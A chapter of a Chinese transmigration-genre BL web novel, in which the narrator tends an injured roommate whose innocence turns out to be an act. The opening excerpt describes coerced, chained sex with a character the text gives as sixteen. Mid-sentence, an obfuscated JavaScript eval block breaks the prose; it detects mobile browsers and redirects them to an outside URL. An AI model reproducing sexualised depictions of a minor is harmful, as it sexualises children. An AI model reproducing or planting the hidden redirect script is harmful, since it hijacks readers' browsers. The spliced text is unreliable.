7. 伤
作品:《直男身陷病态修罗场》 【宽阔的大床上,少年跪伏在松软的被褥间,毛绒绒的脑袋被按压着半埋在枕头里,随着身后那人粗暴的动作溢出娇弱的低吟。】
【帷幔晃动,他被人拽着细白的手腕坐起,带动一片金属碰撞的脆响。粗长的锁链捆缚着脖颈,延伸至床柱之上,将纤瘦的人儿彻底囚困在一方之地。】
【脊背贴上滚烫,炽热灼烧着他的肌肤,不待痛苦的呻.吟溢出唇腔,下颌骨已被面前的人强势抬起,所有的声音都被啃咬着吞没,消失在血腥的噬吻之中。】
【少年蹙着眉头推拒,却被身后那人搅动的欲.望填埋,清醒痛苦地沉沦。】
【小鹿般黑亮的眼睛已然失去所有的光亮,失神地仰望着穹顶,任由他人在白皙的肌肤上缀下点点糜丽的绯红。】
【昳丽的面容上空洞又无助,像是被人彻底玩坏的洋娃娃。】
………
林深时回忆着原书的剧情,在主角受与老攻们doi的描写中,有一大半都是这样变态强制的内容。
主角受就像是被群狼环伺的小鹿,孤苦无依,时刻都有可能被叼着脖子拖入巢穴,吞吃殆尽。
他的性.爱体验从来都是被迫的,即便身体依循本能产生快.感,心理上却一直都是压抑痛苦的。
而且在原书中,甚至从来都没有提过虞兰昭喜欢男人。
或许……他和自己一样,是个直男也说不准。
林深时将目光移向身边的少年:“阿昭,你喜欢陆老师吗?”
虞兰昭点头:“喜欢呀,他是很专业的老师,同学们都很喜欢他呢。”
林深时:“不,我是说那种……”
“哪种?”虞兰昭扑扇着睫羽,小鹿眼睛天真又茫然。
林深时停顿了一瞬,然后摇摇头:“没什么。”
少年还懵懂无知呢,恐怕在他的概念里,根本不存在男人与男人之间的爱情。
不是直男是什么?
原书的主角攻们真是变态又人渣,这样一个纯净无暇的少年,原本能在几年后成长为铮铮铁骨的男子汉,却让他们揉搓蹂躏,硬生生被强迫着压在床榻上娇媚低吟,媚态横生。
作孽!
真是作孽呀!
得想个办法让虞兰昭远离原书中的悲惨NPxxoo的生活。
林深时一边想着,一边帮虞兰昭把撒在地上的东西捡回背包,然后拉着虞兰昭站起。
“哎呦……”
虞兰昭痛哼出声,二人这才发现他的右脚腕扭伤了,手腕上也有不同程度的擦伤。
细密的汗珠瞬间从少年白皙的额头沁出,虞兰昭嘴唇发着白。
林深时当即道:“我背你回去。”
少年的身体瘦瘦小小,背起来很轻,林深时甚至都能透过牛仔裤的布料,摸到其下纤细的骨节。
在原书中,经常用大量篇幅描写主角受娇柔的身影和盈盈一握的腰肢,那些变态老攻们也多是将目光放于此,流露出贪婪的欲.色和贪念。
或许,让虞兰昭吃成小胖子,就能断绝掉老攻们的觊觎心思?
值得尝试。
林深时思考着可行性的方案,不知不觉已经回到了寝室。他把虞兰昭放到床上,起身道:“你先休息下,我去药店买点药。”
虞兰昭拉住他:“小时,你忘了,你的衣柜里就有医疗箱的。”
“……哦,对,我去拿。”林深时哪里知道,怕暴露身份只好囫囵点点头,走过去翻找。
在衣柜的侧方,层层衣服半掩下的角落,他看到了那个印着红色十字标识的医疗箱。
没想到原主虽然心思不纯,竟还是个思虑周到的贴心暖男,连医疗箱都常备着,就是不知道里面有没有跌打损伤的药水。
林深时打开医疗箱,却在看到里面内容物的第一秒,迅速地合上盖子,碰撞发出一声响亮的脆响。
“怎么了,小时?”身后传来虞兰昭略带疑惑的询问。
林深时清了一下嗓子:“那个……阿昭,你之前有打开过医疗箱吗?”
“没有啊,这是小时的东西,我没有乱动过。”虞兰昭说着就要站起来,“是丢了什么东西吗?”
“没有没有!你别动!”林深时连忙制止他,见虞兰昭虽然疑惑还是听话地坐回床上,这才舔了舔发干的嘴唇,小心翼翼地再次打开医疗箱。
只不过这一次,他刻意用身体挡住了虞兰昭的视线。
在长30cm宽20cm的硬质塑料箱里,物品繁杂,却有几样东西异常扎眼。
摆放在最表面的是一盒还没有拆封的小瓶,里面流淌着透明的油状液体,瓶身描画着一个吃着冰棒的美丽少年。
冰棒是圆柱形,外层一圈冷蓝色的冰晶,内里注着甜腻的淡色奶油,少年贪吃,张大嘴巴囫囵咬住,也许是天气太过炎热,未来得及吃到的冰棒融化成水向下流淌,滴滴答答落在夏日反光的柏油马路上。
在小瓶的旁边,静静躺着一枚椭圆形的球体,它的尾部与一串圆润的珍珠相连,不远处还有一个小巧的遥控器。
除此之外,还有细长的红绳、低温的蜡烛……诸如此类,远远不应该出现在男大学生宿舍里的——情.趣.道具。
回想起自己穿书而来遇到的状况,林深时不得不感叹:
原主还真是……准备充分。
什么贴心暖男,分明又是一个变态打桩机!满脑子情色OOXX的下半身动物!
林深时满脸黑线,他把这些东西团起丢进衣柜的最深处,又用衣服盖住,然后才从医疗箱里拿出了云南白药喷雾和医用冰袋。
等坐到床边打开喷雾瓶盖的时候,虞兰昭小鹿眼睛打量着他,问:“小时,你的脸怎么这么红?”
“翻东西累的。”林深时随便找个借口搪塞过去,转移话题,“来,脚伸过来,我帮你喷药。”
虞兰昭抬起脚搭在床沿,伸手去脱鞋却痛哼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15345502|167883||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
出声。
这一会儿的功夫,脚腕已经又红又肿,他稍稍弯腰就疼得受不了。
林深时蹲在床边:“我帮你。”
少年穿着纯白色的帆布鞋,许是经年清洗的缘故,布料的表面已经粗糙发毛,边缘还有些破损的痕迹,但却非常干净,只是隐隐泛着陈年的米黄色。
虞兰昭的经济状况不好,身为孤儿的他,仅靠着国家的资助金生活,处处捉襟见肘,所以一有时间就会出去打工。
而身为表演学院的学生,去剧组跑龙套便成为了最优的选择。
林深时记得,虞兰昭就是在不久之后的剧组碰到的毒舌影帝。片场爱搭不理,背后各种黄暴play,往主角受的脖子上栓锁链就是这个狗东西的主意。
哎,真是麻绳专挑细处断,赚个生活费都能碰上变态。
林深时暗自叹息,手上也没闲着,他小心翼翼地帮虞兰昭解开鞋带脱下帆布鞋。
少年的脚掌小巧又白嫩,素白如玉的质地恰好放在掌心,足弓的线条流畅优美,像是天工造物下最完美的艺术品,一点都看不出来是为了生活四处奔波的人。
但谁能想到,就是这样一个十六岁的少年,单薄的脊背上却独自担负着生活的重担。
云南白药喷雾的液体透着冰凉,骤然喷洒在肌肤上,虞兰昭不禁瑟缩了下。
初秋的天气已经显露微凉,虞兰昭有些抗拒。
林深时安抚地将手掌覆上,温热的触感透过肌肤直达深处,渐渐抵消了喷雾的不适感。
虞兰昭低垂眼睑看着他,黝黑的眼睛中翻涌着幽暗的色彩。
而林深时全然没有注意到少年的注视,他低着头,神色无比认真,为了避免刚才的情况,他先是把喷雾喷在自己的掌心,然后双手合十温暖了液体,这才涂抹到少年的脚腕处。
如此这般反复,直到全部涂满。
喷雾的味道有些刺鼻,林深时起身打开了窗户,然后将医用冰袋处理好递给他。
“你先冰敷一下,我去食堂打饭回来吃。”
陆渊的表演课是周五的最后一节,原本林深时是要走小路去食堂,却被失控的自行车耽搁到现在,二人此刻都是肚子空空。
虞兰昭乖巧点头:“好,我等小时回来。”
林深时离开寝室,关好门。
房间里瞬间安静了下来,几分钟后,虞兰昭拿出手机。
微信未读消息——
[路上找的工具人]:老板,我这演技如何?
[昭]:干的不错。(转账200)
[路上找的工具人]:谢谢老板!
虞兰昭长按删除了聊天记录,扶着桌子站到窗前。
寝室楼外的长道上,青年背影颀长,正向着最近的食堂走去。
少年缓缓勾起唇角,小鹿一样澄澈的眼睛敛下,天真的模样全然不见。
眼底翻涌着的,竟是与陆渊极为相似的阴暗潮湿。